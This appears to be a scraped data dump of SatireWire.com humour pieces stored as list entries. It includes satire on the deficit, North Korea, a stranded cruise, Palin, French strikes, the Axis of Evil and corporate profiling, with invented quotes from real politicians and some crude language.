really thinking. I’m sitting there, staring at the screen, and I’m thinking: Worst. Porn. Movie. Ever.” '], ['no-topic', 'CONGRESS VOWS TO INCREASE AMERICA’S PAIN', '“If (Americans) really want to slash the deficit, there’s no way to do it without a great deal of pain.” – San Francisco Chronicle “To avoid meltdown, we need pain” – LaCrosse (Wi.) Tribune “The fiscal deficit commission, Congress and the White House … have to spread the pain.” – BusinessWeek “PAIN. That neatly sums up what the public can expect if lawmakers are serious about slashing growth of the national debt.” – The Miami Herald WASHINGTON D.C. (SatireWire.com) – With economists and the media clamoring for immediate and painful deficit solutions, Congress today suggested that Americans stick forks in their eyes and rip out their own fingernails. In the Land of the Blind, the one-eyed man is Federal Reserve Chairman Ben Bernanke. “Everybody says we have to do something painful, and we have to do it now,” said Rep. Paul Ryan (R-WI), co-chairman of the ad hoc House Ways and Meaningful Pain committee. “So, yeah. We all stick forks in our eyes. That is going to be really painful.” Critics quickly slammed the committee for failing to directly address the nation’s $13.7 trillion deficit, a charge Ryan did not immediately contend as he had a fork in his eye and was finding it hard to concentrate. Even Tea Party conservative Rep. Michelle Bachmann (R-MN) argued that making Americans stick forks in their eyes will not reduce the debt. Committee co-chair Chris Van Hollen (D-MD) said the committee understood that concern. “No, right, obviously, forks and fingernails won’t bring down the debt,” said Van Hollen. “But what if we combine that with other painful stuff, like punching the elderly and pushing schoolchildren off bridges?” In response, Bachmann said she could support that. Across the country, budget analysts were confused and bemused by the proposal. Appearing with Ryan and Van Hollen on CNN, former White House Budget Director David Stockman explained that the “pain” economists keep referring to is an unappetizing combination of tax hikes and spending cuts. In response, Van Hollen replied, “Oh.” “No, that wouldn’t work,” he added after a break. “See, if I vote to cut Social Security, I won’t get re-elected. And if (Ryan) votes to increase taxes, he won’t get re-elected. That would be really painful. Honestly. So we’d much rather everyone just do the fork-in-eye thing, thanks.” Rep. Paul Ryan and members of the House Ways and Meaningful Pain Committee. Deficit hawk and Sen.-elect Rand Paul (R-KY), however, expressed concern that the committee acted rashly, particularly by suggesting Americans rip out their own fingernails. “It’s class warfare,” Paul said. “Wealthy people spend more on their fingernails. If they rip them out, they lose both their fingernails and their investment. But poor people, do they even have fingernails? I can’t tell because of all of that dirt.” Rep. Charles Rangel (D-NY) was equally unhappy, but for the opposite reasons. “The rich have gained more so they should suffer more,” Rangel said. “Those making more than $250,000 a year should put forks in both eyes. The middle class would just do the one eye, and the poor could use plastic forks. Or even sporks.” Committee members said they were open to such alternatives, which pleased Republican Sen. Judd Gregg of New Hampshire. “This plan is a significant step down the path of fiscal responsibility,” said Gregg. “But it can be improved. I think making bagels that explode when you touch them would cause a lot of pain. We can expand that to other ethnic groups. Tacos that explode. Egg rolls that explode. Exploding tofu.” Whatever bill finally does hit the House floor, Rep. Ryan expects it to be controversial. “The fur is definitely going to fly,” he said. “That’s not a euphemism. We have a proposal to put family pets in blenders.” '], ['no-topic', 'N. KOREA WARNED WITH RANDOM U.S. MISSILES', 'SEOUL, SOUTH KOREA (SatireWire.com) — In an unusually provocative and candid speech, President Barack Obama today demanded that North Korea abandon its nuclear program, warning the secretive nation, “Don’t fuck with us. We have missiles and shit that just go off on their own.” "Missile like that? Shit. It could go anywhere," Obama said ominously. To prove his point, the President, speaking to U.S. troops ahead of the G20 summit, showed a video of the “mystery missile” that appeared off the coast of California this week. While military and aviation experts now say the “missile” was actually an airplane, Obama more than hinted that this might, or might not, be true. “I don’t know, man. I mean look at that. I guess that looks like an airplane. If an airplane has no wings and goes 10,000 miles an hour and has a warhead with ‘Pyongyang, thank you ma’am’ written on it.” “Probably written in blood or something,” he added. “Our missile guys are loose crazy like that.” The President also suggested missile firings were not the only randomness problem facing President Kim Jong Il. “I got the 82nd Airborne, right? Those cats are out of their minds. I don’t even know where they fuckin’ are half the time. They could blow up your palace tomorrow morning and I’d be like, ‘How the fuck did that happen?’” The warning comes as North Korea continues to refuse to allow U.N. inspectors into its nuclear facilities. It has also conducted several nuclear weapons tests and long-range missile launches in recent years, which the President addressed directly. “You do missile launches too, huh?” Obama said. “Yeah, that’s cool. I’ll bet your launches are pretty controlled, pretty organized. But you know, we’re the Land of the Free. And missiles, sometimes they get free. Maybe I don’t find out till after. Which is too late to warn you ‘cause by then, you know, ‘boom.’” The President later reiterated the threat at a joint press conference with his South Korean counterpart, Lee Myung-Bak, who stood behind Obama and made explosion sounds. Pyongyang had no official response to the warning, and Korean observers say Kim Jong Il is unlikely to be moved. The autocratic state broke off six-nation talks last year, leading to international sanctions that are crippling an already devastated economy. That will not change, Obama promised, unless Kim comes to the negotiating table. “North Korea’s pursuit of nuclear weapons will only lead to more isolation and less security,” Obama said. “So they have two paths available. If they choose to fulfill their international obligations, they will have the chance to offer their people lives of opportunity instead of poverty. If they don’t, hey, crazy bat shit missile shit.” '], ['no-topic', 'HISTORY MADE AS PASSENGERS RETURN FROM CRUISE LIGHTER', 'SAN DIEGO (SatireWire.com) — After two harrowing days without an all-you-can-eat buffet, nearly 4,500 people stranded on a Carnival Cruise ship arrived in San Diego today, marking the first time passengers have ever returned from a cruise weighing less than when they left. As these actual headlines illustrate, 100 crew members suddenly disappeared on board between Nov. 9 and 10. Carnival officials lauded the passengers for not panicking after the ship lost power and became stranded on Tuesday, although they conceded there was a “small window” of alarm when the chilled banana gateau ran out, during which roughly 100 of the crew may have been eaten. “The ship left port with 1,200 crew members,” said Coast Guard Capt. Jim Wilkes. “It seems to have returned with 1,100 crew members. We are investigating.” For now, Wilkes said, the 100 crew members are missing and presumed delicious. The 113,000-ton Carnival Splendor suffered an engine room fire Tuesday evening, forcing passengers and crew to go without air conditioning, working toilets, and the all-you-can-eat ice cream and hot buffet. The ship was towed to San Diego, where disembarking passengers told of their harrowing journey, and the difficulties of not eating for minutes on end. "I felt just like a Chilean miner," said one passenger. “We were stranded. It was hot. We were hungry,” said Madelyn Davenport, a 67-year-old retiree from Leeds, England. “I remember sitting under the retractable sky dome on the pool deck, telling the singing maitre d’ that I felt just like a Chilean miner.” “About an hour after we lost power and the crème brulee mountain started to melt, people did panic, yes,” recalled Kevin Poller, 48, from Seattle. “And it’s possible some of the crew were eaten at this time. But look, the heated chaises lounges were cold. The slot machines were dead. We were trapped like large, generally inactive rats in a 14-story cage with mini-golf course and Elemis SkinLab Facial Mapping Analysis. It was kill or be killed.” In the end, passengers said, they survived thanks to the 22 bars, and the crew. “Hard as it was, the staff was terrific, and I learned a lot from them about the sea and survival,” said Marvin Humboldt, a 57-year-old passenger from Phoenix, Az. “For instance, everyone knows a captain goes down with the ship, but did you know a purser goes down well with a 1978 Bordeaux?” '], ['no-topic', 'AMERICANS NOT SURE THEY HAVE ENOUGH EXTRA HATE TO DEAL WITH BUSH JUST NOW', "NEW YORK (SatireWire.com) — George W. Bush has resurfaced to promote his new book “Decision Points,” but Americans say their hatred for political parties, the media, Wall Street, BP, the economy, tax cuts, Lady Gaga, and Newt Gingrich has left them with no room to get properly angry with anyone else and have asked the former president to please come back later. Americans can't be bothered right now to look back in anger. “If he could just try again maybe next year, I could possibly get irritated enough to hate him again, but right now I’m really booked up and need to focus,” said Ann Arbor Michigan resident Jeanne Gruben, who states she is currently angry with the Tea Party, the deficit, the Afghan war, and Brett Favre. “Actually, I do kind of hate that Bush would come back now when I can’t really spare any hate. Oh God. See? I’m losing focus already.” Bush, who left office with the lowest approval rating for a modern president, is a polarizing figure. His recent interview with NBC’s Matt Lauer, in which he defended torture and the decision to wage war in Iraq, should have given ample cannon fodder to his detractors. But for the most part, it hasn’t. “Back in the day I would have wanted to slap that smirk off (Bush’s) face,” said 23-year-old New Yorker Tina Hendricks, who only watched part of the interview because she can’t stand The Today Show. “But I’ve only got two hands, and right now they’re busy hypothetically slapping the smirks off the faces of Glenn Beck and Mel Gibson.” With two wars, high unemployment, and “Mad Men” going off the air, Americans have much to be upset about, said University of Texas psychology Prof. Steven Wyngate, who took time from his hatred of The New York Times, the EPA, LeBron James and Ariana Huffington to do an interview. The rise of the Internet and partisan media, he said, has allowed people to spread anger and rumor more quickly and efficiently. But there are limits. “It’s true what they say, that Americans have a big spleen,” Wyngate noted. “We really are capable of so much hate. But right now we’re stretched thin. That’s why Bush’s book probably won’t do that well. Most people will buy it just to make themselves angry, but their spleens won’t be in it.” For Los Angeles firefighter Gary Sharp, who currently can’t stand Keith Olbermann, Oprah, Arnold Schwarzenegger and Facebook, Bush’s reappearance threatens to further remove the country from its traditional hatred of foreigners. “I love America, or at least my half of it. And that’s just wrong. We need to get back to a time when we hated Saddam Hussein and Fidel Castro and the Ayatollah. Right now, I can’t name a single foreign leader I really hate. Not one. And I’m an American! That is fucked up.” "], ['no-topic', 'PALIN. 2012. COINCIDENCE?', 'ANCHORAGE, AK (SatireWire.com) — The possibility of a President Palin is gaining traction after a strong Tea Party showing in Congress and the sudden realization that the next presidential election will occur just weeks before the world ends anyway, on Dec. 21, 2012. In what pundits are already calling the ‘Last Laugh Option,’ Americans increasingly say they are willing to support Palin if, before she takes office, they’ll already be dead. Click the image to buy "PALIN 2012: COINCIDENCE?" merchandise. A recent ABC News/Washington Post poll reflects the dramatic shift. When asked if the former Alaska governor were qualified to be president, 52 percent said she was not. When then asked if they would vote for Palin if the world were going to end shortly thereafter, 82 percent responded, ‘Oh, sure, what the fuck.’ According to the Mayan calendar, and a movie of the same name, the world will come to an end in 2012 in a cataclysm that some theorize will be worse than the movie itself. Scientists, long skeptical of impending disaster, now appear to be changing their minds, although they do agree the movie was woeful. “I’ve been following this, and I now feel strongly that 2012 could in fact be a catastrophe,” said MIT physicist Ronald Gupta. “Wait. I was talking about Palin. What were you talking about?” Though not officially a candidate, Palin is already touting the calamitous connection in an effort to boost her chances. Wearing a t-shirt emblazoned with “Palin and 2012: Coincidence?” she floated the idea to her Fox News viewers last week. “If I get elected president, ask yourself, ‘Is it the end of the world?’,” she said. “No. No it’s not. That comes a month later. So what I want is for all you good, hard-working, Americans out there to put ‘voting for Sarah’ on your bucket list. Ya know, a crazy thing to do before you die.” Across the country, voters once unsure of Palin’s qualifications concede the end of time has caused them to reconsider. “My granddad always told me to laugh in the face of death,” said Natalie Stanz, a 31-year-old nurse from Ocala, Fla. “‘President Palin.’ That makes me laugh, so yeah, I’d do it.” If the world does not end, however, some worry the joke will be on the voters. “If she won and the Mayans were wrong and the world didn’t end, yeah, I’d probably be upset,” said Scott Wright, 45, a plumber in Brookeville, Pa. “But let’s not speculate. Hopefully, if she wins, we’ll all be dust by Christmas.” '], ['no-topic', 'DEMS CONCEDE GOP HAS MAJORITY MINORITY', "WASHINGTON, D.C. (SatireWire.com) — Now in control of only the White House, the Senate, the military, foreign policy, the U.S. Treasury, the Justice Department, homeland security, U.S. energy policy, and — in cases of national emergency — everything, Democrats on Capitol Hill today conceded Republicans are now in charge. As Democrats reluctantly listened, presumptive House Speaker John Boehner announced GOP leaders had already drawn up health care repeal, pennied Democratic congressmen into their rooms, and stuffed Energy Secretary Steven Chu into a locker. The White House immediately cried foul, but not so loud that Boehner might hear and get angry. Obama tries to ignore the fact that John Boehner (left) has put a bag over House Speaker Nancy Pelosi's head. “They took over the House, they took over the majority of state legislatures, and they took over the Senate, since they have 47 senators and we only have 53, so I guess technically they set the agenda,” said White House spokesman Robert Gibbs, who confirmed that Senate Minority Leader Mitch McConnell had short-sheeted the President’s bed, but claimed it was “all in good fun.” Though weakened, Democratic leaders insisted they were not completely emasculated, and as proof they promised to never speak to House Speaker Nancy Pelosi ever again, “if that’s what Mr. Speaker-in-Chief Boehner wants.” Boehner said that wasn’t necessary, but would settle for her removal from leadership. And an occasional remark about her goofy eyes. Both parties, however, have promised to look to the future, with Democrats saying they are willing to compromise, and Republicans saying they are also willing for the Democrats to compromise. “The people that elected us in 2008 were tired of partisanship,” said Senate Majority Leader Harry Reid. “They expect us to work together, to compromise for the common good.” Boehner makes his pledge to work with Democrats. “The people who elected us don’t want us to compromise,” said Kentucky Senator-elect Rand Paul. “So if Democrats listen to their voters, and we listen to ours, yeah, that’ll work.” Some far-left Democrats are adamant their party stand firm and believe the Obama administration has already conceded too much on health care, banking regulations and tax cuts. However, Democrats and Republicans agreed, “those people don’t seem to have voted.” “Look, we’ve talked about it in caucus, and it’s like this,” House minority whip Eric Cantor, (R-Va.) said at a bipartisan press conference. “Obama won the last election handily. He got to lead. We won this election handily. So we get to lead.” “Excuse me but… that’s not how it works, is it?” asked Sen. Mary Landrieu (D-La.). As a result of Landrieu’s outburst, Cantor announced that Republicans in the House and Senate will continue to use the congressional washrooms. However, Democrats will use the Port-o-Johns left over from Jon Stewart’s rally last month. “Thanks a lot, Landrieu,” said Rep. Dan Boren (D-OK). Added Rep. Heath Shuler of North Carolina, “Yeah, good job, Mary Canary.” "], ['no-topic', 'AMERICANS THROW OUT BUMS WHO THREW OUT BUMS WHO THREW OUT BUMS WHO THREW OUT BUMS', 'WASHINGTON, D.C. (SatireWire.com) — American voters sent a strong signal to Washington on Tuesday, overturning Congress and effectively “tossing out the bums” who, in 2006 and 2008, threw out the previous bums who, in 2000, threw out the previous bums who, in 1996, threw out the bums preceding them. “With their voices and their votes, the American people have delivered a clear message,” said an emotional Republican House Minority Leader John Boehner. “And that message is: ‘The current way does not work. Please do things the previous way that did not work.’” Sen. John Boehner, R-Ohio, says Americans sent a message: "The current way does not work. Please do things the previous way that did not work." “American voters don’t want more of the same,” he added. “They want more of the other same.” While Democrats retained control of the Senate, the GOP retook the House of Representatives by a wide margin. Sixty new Republicans will head to Washington to not do what they were elected to do, unlike those they replace, who did what they were elected not to do. “Make no mistake, these newcomers are very different from their predecessors,” said Georgetown University political scientist Austin Engle. “For one thing, they have different names. And most of them have a different letter next to their name — some have an (R) while others have a (D). And, um… yeah.” Epitomizing the drastic change from the previous change was Tea Party favorite Rand Paul, elected to the Senate in Kentucky, who voters saw as an outsider because his father is an 11-term congressman. “We don’t need government, and we need to take government back!” the Republican told rapturous supporters, who responded with shouts of, “Yes!” “No!” and “Can we vote you out yet?” With such rhetoric, Paul and other newcomers are not expected to compromise with the Obama administration, but the President said he called Boehner on Tuesday to congratulate the projected House speaker and discuss issues they have in common. “The voters are wise,” he said. “They realize we have not moved forward enough. They are saying, ‘We have moved too far forward. Slow down. But faster.’” Outside a polling station in Dayton, Ohio, voter Stephanie Hoeflick summed up the feelings of the nation. “We want people in Congress who will reduce spending, cut taxes, and create jobs; people who will resist temptation and partisanship and work to make life better for all Americans,” she said. “And then we hold elections and pick someone else.” '], ['no-topic', 'ON “SARCASTIC SIDELINES” WEEKEND, YOUTH PLAYERS ARE “JUST AWESOME”', '“That was sooooo great Tyler! Not just anyone can trip over a soccer ball twice.” “Yes Becky! Give the ball to the other team. We want to play defense all day!” OVERLAND PARK, KAN. (SatireWire.com) — Yes, “Sarcastic Sidelines” is back – the annual youth soccer weekend where the incessant gripes, jeers, and screams of parents make way for ironic applause, back-handed compliments, and absolutely insincere encouragement. Instituted by the National Youth Soccer Association, Sarcastic Sidelines requires spectators to “refrain from making any comments to players, coaches or referees that are not sarcastic or sardonic in nature.” It is meant to reduce parent coaching and criticism – for one weekend at least – and appears to have strong support, particularly among young referees, who are ofte n the victims of parental abuse. “On any other weekend, I never, ever hear a parent say ‘Good call ref,’” said Neville Fillion, a 15-year-old referee from Oneonta, N.Y. “But on Sarcastic Sidelines weekend, I must hear it a hundred times. It’s great. Seriously. Just sooo friggin’ great. I love parents.” The program is the successor to the failed “Silent Sidelines” weekend, which had similar goals but proved unworkable. “We used to do Silent Sidelines, where parents can only applaud politely and can’t say anything,” said NYSA President Hunter Hobbs. “Total nightmare. Each year about 3,000 parents had strokes.” Wendy Pottenger, president of the Branford, Ohio, Youth Soccer Club, said everyone gains from Sarcastic Sidelines. “We want players to make decisions on the field without their parents trying to correct them from the sideline,” said Pottenger. “Sad to say, but parents are often too critical and too intense, which really detracts from the games. “Of course that doesn’t happen with our parents,” Pottenger added. “They’re the greatest parents ever.” GOOD NO-CALL REF! MY KID DESERVED TO BE ELBOWED IN THE HEAD! The weekend is a boost for players’ self-esteem as they hear things that, if nothing else, sound encouraging, she said. “Usually they’re being yelled at for mistakes. But here it sounds like they’re being praised for them. And to be honest, young kids can’t usually tell the difference.” Parents totally supporting their kids. Kimmy Keckler, a 10-year-old goalkeeper in San Jacinto, Cal., agreed. “Yeah, when I let a shot go through my hands and the parents say, like, ‘Nice catch,” I totally can’t tell they’re being sarcastic,” she said. “I guess it’s because I’m just soooo stupid, right?” Other youth players have similar tales of satisfaction. “My dad only comes to my games sometimes,” said 9-year-old Ralph Marchetti from Overland Park, Kan. “Mostly he yells at me to be tough. But today he hasn’t. He’s just been yelling, ‘That’s my girl!’ God I love my dad sooo much. I wish he’d come to every game.” “Sarcastic Sidelines is awesome,” added 11-year-old Dunwoody, Ga., player Melissa Blount. “It’s so cool to swing and miss the ball and have your mom shout, ‘Olé!’ each and every time it happens, over and over and over. Honestly, I am just, like, totally happy right now. I’m not going to cry myself to sleep tonight for sure.” The feeling even lasts after the matches are finished. In Overland Park, parent Richard Jenas approached the coach of his son’s team, which had just lost lost 8-0. “Good game, coach,” Jenas said. “Really good game. You’re the best.” “Thanks… Dick,” the coach responded. “That means a lot coming from you. Dick.” '], ['no-topic', 'FRENCH STRIKES TO END AS PROTESTERS FORM UNION, TAKE MANDATED VACATION', 'Paris (SatireWire.com) – Strikes that have rocked France for more than a month will abruptly end tomorrow as protesters announced they have all joined a protesters union and will immediately take the five-week vacation plus 20 sick days mandated in their contract. Members of the new Union of French Protesters (PUF), authorized by the government this morning, demonstrated for five hours today and then went home, as stipulated in the PUF agreement that calls for a maximum 25-hour protest week. Protester union members carry blank signs as placard painting was not mandated in their contract. While on the job, however, they continued to express support for protests against pension and benefit cuts, while also refusing to protest more than required against pension and benefit cuts. “We are striking to protect our way of life!” PUF deputy chairman Henri Camarole shouted to a Paris crowd. Checking his watch, Camarole added, “And now we are not striking to protect our way of life!” His words were met with cries of “Yes!”, “I don’t understand!”, and “I want to be angry but I’m taking a personal day!” Protests erupted last month after President Nicolas Sarkozy’s conservative government announced it would roll back the retirement age from 60 to 62. Under the French system (including vacation, personal days, holidays, sick days, training days, and paid maternity and paternity leave), the extra two years equates to roughly four days of work. PUF leaders, however, said they will not stand for any increase, particularly as their contract requires that they stand for a maximum of 20 minutes per day. “We will not cease, we will not surrender, and we will not be silent!” said PUF negotiator Patrice Duval. “Unless it’s after 3 p.m., or a recognized holiday, or the weekend, or a designated mental health break hour!” “I want to stop protesting at 60, not 62!” replied one striker, whose words were met with wild applause and cries of Yes!”, “Let’s strike about it!” and “This protest violates my right to a stress-free work environment!” '], ['no-topic', 'SOLDIERS HOARD GUNS, SHIPS IN FACE OF DEFENSE CUTS', 'WASHINGTON, D.C. (SatireWire.com) — Fear of massive defense budget cuts caused a panic on U.S. military bases around the globe today as soldiers, sailors and marines rushed to clear shelves of everything from howitzers to Knighthawk helicopters. Unidentified sailor trying to hide the USS George Washington behind his back. Machine guns, grenade launchers and F-16 Falcons were among the most popular items swept from shelves and airfields as soldiers stocked up “just in case.” Across the armed forces, ordnance and equipment personnel reported that air strips, motor pools and weapons storage racks were empty as soldiers, waiting for the doors to open at 6 a.m., rushed in to grab everything they could. “It’s like a tornado went through here,” said Staff Sergeant Will Hurtsbee at Robins Air Force Base in Georgia. “They took everything. I spent a week building up a nice pyramid-shaped display of Avenger missiles and they just tore it down like it didn’t matter.” Military hoarding is nothing new, according to historian Juan Tirasco, who noted that soldiers sometimes raid stores when conditions are tough or supply lines are cut. “But usually we’re talking things like food, toilet paper, and soap,” he said, “instead of guns, Predator drones and Navy destroyers.” Or nuclear submarines. “Yeah, we seem to be suddenly out of submarines,” conceded Rear Admiral Joseph Slater at the San Diego Naval Base. “Maybe come back next week. We hope to get a fresh supply in then.” Some questioned the ethics of hoarding military hardware, but armed forces members countered that “hey, you never know.” “The Army always underequips us when wars start,” said Lt. Charles Ingram, stationed in Germany. “Like in Operation Iraqi Freedom, it was shameful we didn’t get what we needed: body armor, night vision goggles, and tactical nuclear weapons. So I grabbed all those things, including a couple of bunker-buster nukes. Shoppers hurry home with their goodies “I need a bigger foot locker,” Ingram added. Specialist Karen Miller had a similar problem at Joint Base Balad in Iraq. Her haul? Eighty-seven M1A2 tanks. “I couldn’t carry them off. Obviously. So I got up real early, just before dawn, and put up a sign that said, ‘Mine.’ As the day wore on, disappointed Balad comrades pleaded hopelessly with Miller to share, while others waited for her to turn her back in order to sneak a tank or two. “Hey hey hey hey hey!” Miller yelled as one soldier started to run off with a 70-ton machine. “Fuck you!” A Defense spokesman refused to comment on Miller’s haul, but the Pentagon did issue a statement this afternoon. “Bitch,” it said. Previous Topic: ANGERED BY SNUBBING, LIBYA, CHINA, SYRIA FORM AXIS OF JUST AS EVIL Next Topic: FRENCH STRIKES TO END AS PROTESTERS FORM UNION, TAKE MANDATED VACATION'], ['no-topic', 'ANGERED BY SNUBBING, LIBYA, CHINA, SYRIA FORM AXIS OF JUST AS EVIL', 'Please see Author’s Note at bottom. Thank you. Cuba, Sudan, Serbia Form Axis of Somewhat Evil; Other Nations Start Own Clubs BEIJING (SatireWire.com) — Bitter after being snubbed for membership in the “Axis of Evil,” Libya, China, and Syria today announced they had formed the “Axis of Just as Evil,” which they said would be way eviler than that stupid Iran-Iraq-North Korea axis President Bush warned of his State of the Union address. Axis of Evil members, however, immediately dismissed the new axis as having, for starters, a really dumb name. “Right. They are Just as Evil… in their dreams!” declared North Korean leader Kim Jong-il. “Everybody knows we’re the best evils… best at being evil… we’re the best.” Diplomats from Syria denied they were jealous over being excluded, although they conceded they did ask if they could join the Axis of Evil. “They told us it was full,” said Syrian President Bashar al-Assad. “An Axis can’t have more than three countries,” explained Iraqi President Saddam Hussein. “This is not my rule, it’s tradition. In World War II you had Germany, Italy, and Japan in the evil Axis. So you can only have three. And a secret handshake. Ours is wicked cool.” THE AXIS PANDEMIC International reaction to Bush’s Axis of Evil declaration was swift, as within minutes, France surrendered. Elsewhere, peer-conscious nations rushed to gain triumvirate status in what became a game of geopolitical chairs. Cuba, Sudan, and Serbia said they had formed the Axis of Somewhat Evil, forcing Somalia to join with Uganda and Myanmar in the Axis of Occasionally Evil, while Bulgaria, Indonesia and Russia established the Axis of Not So Much Evil Really As Just Generally Disagreeable. With the criteria suddenly expanded and all the desirable clubs filling up, Sierra Leone, El Salvador, and Rwanda applied to be called the Axis of Countries That Aren’t the Worst But Certainly Won’t Be Asked to Host the Olympics; Canada, Mexico, and Australia formed the Axis of Nations That Are Actually Quite Nice But Secretly Have Nasty Thoughts About America, while Spain, Scotland, and New Zealand established the Axis of Countries That Sometimes Ask Sheep to Wear Lipstick. “That’s not a threat, really, just something we like to do,” said Scottish Executive First Minister Jack McConnell. While wondering if the other nations of the world weren’t perhaps making fun of him, a cautious Bush granted approval for most axes, although he rejected the establishment of the Axis of Countries Whose Names End in “Guay,” accusing one of its members of filing a false application. Officials from Paraguay, Uruguay, and Chadguay denied the charges. Israel, meanwhile, insisted it didn’t want to join any Axis, but privately, world leaders said that’s only because no one asked them. '], ['no-topic', 'Tolstoy vs. Apples', '*Suitable for Framing CHARTS INDEX '], ['no-topic', 'GIRLFRIEND ANNOUNCES DISAPPOINTING Q3 RESULTS', 'Relationship Falls Well Below Expectations New York, N.Y. (SatireWire) – Laura Feldstein (Brooklyn, 24) today announced disappointing results in her relationship with skeezing loser boyfriend Derek McHugh (Brooklyn, 27) for the quarter ended Aug. 31. In the three-month period, net proceeds – i.e., total Derek spent on entertainment, flowers, and gifts, less unrecouped losses by Feldstein including the $26 in phone calls Derek made to his ex-girlfriend using Laura’s cell phone (Laura saw the bill; she’s not stupid!) when Laura was “out of commission” for the week ending July 24 – equaled $139, well below Feldstein’s expectations, but pretty much in line with her mother’s. Pro-forma attention (time spent in intelligent conversation without the immediate promise of sexual interaction) for the third quarter was down 60 percent from the quarter ended May 31, just after they met, and down 75 percent from last year’s third quarter, when Feldstein was still dating Ramón, that Latino guidance counselor from NYU who was creepy but at least pretended he was interested in her life. On a per share basis, Feldstein reported her diluted share of Derek was 33 percent – down from what she thought was 100 percent, HA! in the second quarter – primarily due to broad-based weakness in Derek, who was continuing and/or establishing strategic partnerships not only with his ex, but with some bitch named Candi; like what kind of slut would go by the name Candi, anyway? As a result of these extraordinary items, it may be necessary to spin Derek off into a separate, wholly independent entity, the bastard. Laura Feldstein, Possibly Ex-Girlfriend, said in a statement: “During the second quarter, beginning about a month after my so-called friend Andrea introduced me to Derek at Nativa, we continued to operate in a difficult environment, especially in the sexual services sector, where my depressed levels of activity were a direct result of him always wanting me to go down on him, and then, as soon as he’s happy, he suddenly insists he’s “left his stove on” and has to go. Like he cooks. Even so, I continue to hang out with the 60-Second Man, I think because he is friends with the DJ at Hush, if I’m honest with myself. “Regardless, I plan to broaden my core focus and test current market conditions in an effort to search for a synergistic partner or partners – hear that Derek! Partners! erssssss! – who are willing to invest heavily in R&D (That’s ‘Relationship Development,’ Derek, not ‘Rut & Dash’). “Though it is a challenging time, I remain stubbornly confident that the long-term trends for my happiness are positive, although not with Derek, as his past performance is probably a guarantee of future results.” '], ['no-topic', 'Chat E-bbreviations', 'Previous Topic: Ask The Startled Next Topic: GIRLFRIEND ANNOUNCES DISAPPOINTING Q3 RESULTS'], ['no-topic', 'Ask The Startled', 'Previous Topic: Report That Pessimists Die Sooner – No Big Surprise to Pessimists Next Topic: Chat E-bbreviations'], ['no-topic', 'Report That Pessimists Die Sooner – No Big Surprise to Pessimists', 'New York (SatireWire.com) – A study issued Tuesday claiming that pessimists have more long-term health problems than positive people just proves pessimists were right, say pessimists. The research, conducted by the Mayo Clinic in Rochester, Minn., found that less positive people suffer significantly higher rates of illness, and advised physicians to encourage their patients to adopt a more positive outlook to improve and lengthen their lives. Pessimists across the country said they would try, though they seriously doubted it would work. “OK, here’s a positive thought,” said Chicago resident Eric Weinstadt. “Why not save me the trouble I’m going to have later and just shoot me now?” “No wait, save the bullet,” he added. “I’m going out to a party with my so-called friends tonight. I’ll bet I die of boredom.” Previous Topic: POLICE ACCUSED OF CORPORACIAL PROFILING Next Topic: Ask The Startled'], ['no-topic', 'POLICE ACCUSED OF CORPORACIAL PROFILING', 'With Crackdown Mandate, Cops Randomly Hassling People of Collar New York, N.Y. (SatireWire.com) — Statistically speaking, David Bates had all the earmarks of a potential criminal: he was well-groomed, between the ages of 35 and 55, drove a luxury car, wore a suit, smiled at odd times, and said very little of substance. He was, in short, a likely corporate executive, and to police, that was reason enough. Corporacial profiling has been particularly difficult for executives such as AOL Time Warner CEO Richard Parsons, who has two strikes against him. Driving down a street in Greenwich Village, Bates was pulled over by officers who asked to see his license and business card. For the next harrowing half hour, police searched Bates’ PDA, scanned his laptop, and listened to the messages on his cell phone. When he asked, Bates was told he was stopped because he fit the description of a chief financial officer wanted for overstating capital expenditures. But both parties knew that was a lie. Instead, Bates, a senior vice president of finance at Salomon Smith Barney, was yet another victim of what critics call a frightening trend in law enforcement: corporacial profiling. Focusing on those “statistically proven to most likely to put the public at risk,” police officers across the country have begun randomly stopping and questioning Executive Americans, searching for evidence of insider trading, phony bank account numbers, or incriminating memos to clients. Often unable to find anything, they usually release their “suspects,” but not before “accidentally” scattering the contents of their briefcases to the winds. It’s a tactic proponents defend as necessary given Washington’s mandate to clamp down on corporate crime, but one civil libertarians condemn. “Today, I am sorry to say that the color of your collar makes you a suspect in America. It makes you more likely to be stopped, more likely to be searched, and more likely to be arrested,” said Harvey Bryers, president of the National Association for the Advancement of White-Collared People. In fact, the practice of detaining people solely for their appearance has quickly become so common that the Executive American community has given their alleged crime a name: DWI: Driving While Incorporated. Officers, however, maintain that in areas where white-collar males commit a disproportionate number of the crimes, police are justified in scrutinizing that sector of the population more closely. “I see a guy in a suit, with a briefcase, walking into Merrill Lynch or Bristol-Myers, and yeah, of course I’m going to look twice at him,” said New York City police officer William Rist. “White-collar executives, particularly high level males, commit a dramatically disproportionate share of financial crimes in the United States. This is a sociological fact, not a figment of the imagination.” And while critics charge corporacial profiling propagates stereotypes, even some Executive Americans privately admit the stereotypes have some foundation. “If I’m walking down the street alone late at night and two minority kids come up behind me, yeah, maybe I’m thinking they’re gonna take my wallet,” said General Motors CEO Richard Wagoner, Jr. “But if two corporate controllers are coming up behind me, I’m not worried about my wallet. I’m worried about my entire life savings. I am definitely stepping to the other side of the street.” But as David Bates learned, Greenwich Village, like many parts of this country, does not want him on either side of the street. “I got stopped in this real bohemian area of the Village, everything from college kids to immigrants lived there,” Bates recalled. “Finally, after scaring me half to death, the cops let me go, but first they asked, ‘Do you know where you are?’ They didn’t say it, but I knew what they meant: ‘Look around you pal. White-collared people aren’t welcome here.’” And this growing trend, combined with other forms of police stereotyping, has hit some executives even harder. Said AOL chief executive Richard Parsons: “I’m an Executive American and an African American. Now I can’t go to the bathroom without somebody hassling me.” '], ['no-topic', 'GOD NAMES NEXT “CHOSEN PEOPLE”; IT’S JEWS AGAIN', '“Oh Shit,” Say Jews Jerusalem (SatireWire.com) – Jews, whose troubled, 10,000-year term as God’s “chosen people” finally expired last night, woke up this morning to find that they had once again been hand-picked by the Almighty. Synagogues across the globe declared a day of mourning. Asked if the descendants of Abraham shouldn’t be pleased about being tapped for an unprecedented second term, Jerusalem Rabbi Ben Meyerson shrugged. “Of course, you are right, we should be thrilled,” he said. “We should also enjoy a good swift kick in the head, but for some reason, we don’t. God conducts blind drawing “Now don’t ask such questions until you watch the news, or read history, or at least rent ‘Fiddler on the Roof’.” Much of the world’s re-blessed Jewish community shared that feeling. “It’s always been considered a joke with us. You know, ‘Please G-d, next time choose someone else,’ ha ha,” said New York City resident David Bashert. “Ha. Ha ha,” Bashert added. “Shit.” According to a worldwide survey of faiths, not a single group expressed an interest in being chosen, and the only application submitted before last night’s filing deadline, on behalf of the 